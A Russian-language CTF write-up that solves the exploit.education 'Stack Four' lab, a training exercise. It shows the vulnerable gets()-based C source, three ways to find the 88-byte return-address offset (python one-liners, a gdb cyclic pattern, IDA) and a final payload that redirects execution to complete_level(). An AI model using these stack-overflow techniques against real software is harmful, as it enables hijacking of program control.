Изучение PWN #5
МихаилПолезная информация по ИБ и разборы задачек CTF.
Предыдущая задача - Изучение PWN #4.
Пятая задача с exploit.education - Stack Four.
Исходники:
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
void start_level() {
char buffer[64];
void *ret;
gets(buffer);
ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}
int main(int argc, char **argv){
printf("%s\n", BANNER)
start_level();
}
В этой задаче нам снова необходимо сделать так, чтобы выполнилась функция complete_level(), которая задана, но не вызывается в коде.
Здесь все по аналогии с предыдущей задачей, но в данном случае для переменной buffer компилятор выделил больше, чем 64 байта.
Чтобы выяснить, сколько выделено байт компилятором, можно воспользоваться одним из трех способов:
1 Способ. Увеличиваем подаваемый на вход программы набор данных на 4 байта каждый раз (т.к. EIP занимает 4 байта). Пока не получим ошибку "Segmentation fault"
python -c "print '\x41' * 64" | ./stack-four python -c "print '\x41' * 68" | ./stack-four python -c "print '\x41' * 72" | ./stack-four python -c "print '\x41' * 76" | ./stack-four python -c "print '\x41' * 80" | ./stack-four

Получили ошибку сегментации, но адрес возврата не изменился, попробуем прибавить 4 байта еще пару раз

Адрес возврата изменился при передаче 88 байт на вход программы, это и будет наше смещение.
2 Способ.
Создаем файл:
nano ~/offset_eip.txt
Записываем в него строку с этого сайта:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Открываем программу под отладчиком и запустим ее с входными данными из только что созданного файла, посмотрим содержимое регистров:
gdb -q ./stack-four run < ~/offset_eip.txt info registers

Видим, что в rip записалось значение 0x3164413064413963, вставляем это число на сайт, с которого брали шаблон:

И получаем наше смещение - 88 байт.
3 Cпособ. Используем IDA.
Переменные bufferи ret я переименовал для удобства. (было - v1 и retaddr)

В функции start_level() видим, что компилятор выделил 72 байта под нашу переменную buffer, находим переменную ret и дважды кликаем, чтобы посмотреть, где же она расположена в памяти.

Видим, что от нашего массива чаров до переменной ret 0x8 + 0x50 = 0x58 = 88 байт.
Отлично, смещение мы знаем, осталось узнать целевой адрес, по аналогии с предыдущим заданием - через objdump, или через IDA.
Получаем 0x40061d.
Теперь, зная необходимое смещение и адрес целевой функции, проэксплуатируем программу:
python -c "print 'a'*88 + '\x40\x06\x1d'[::-1]" | ./stack-four

Отлично, пройдено! В следующей задаче перейдем к внедрению шелл-кодов - Изучение PWN #6.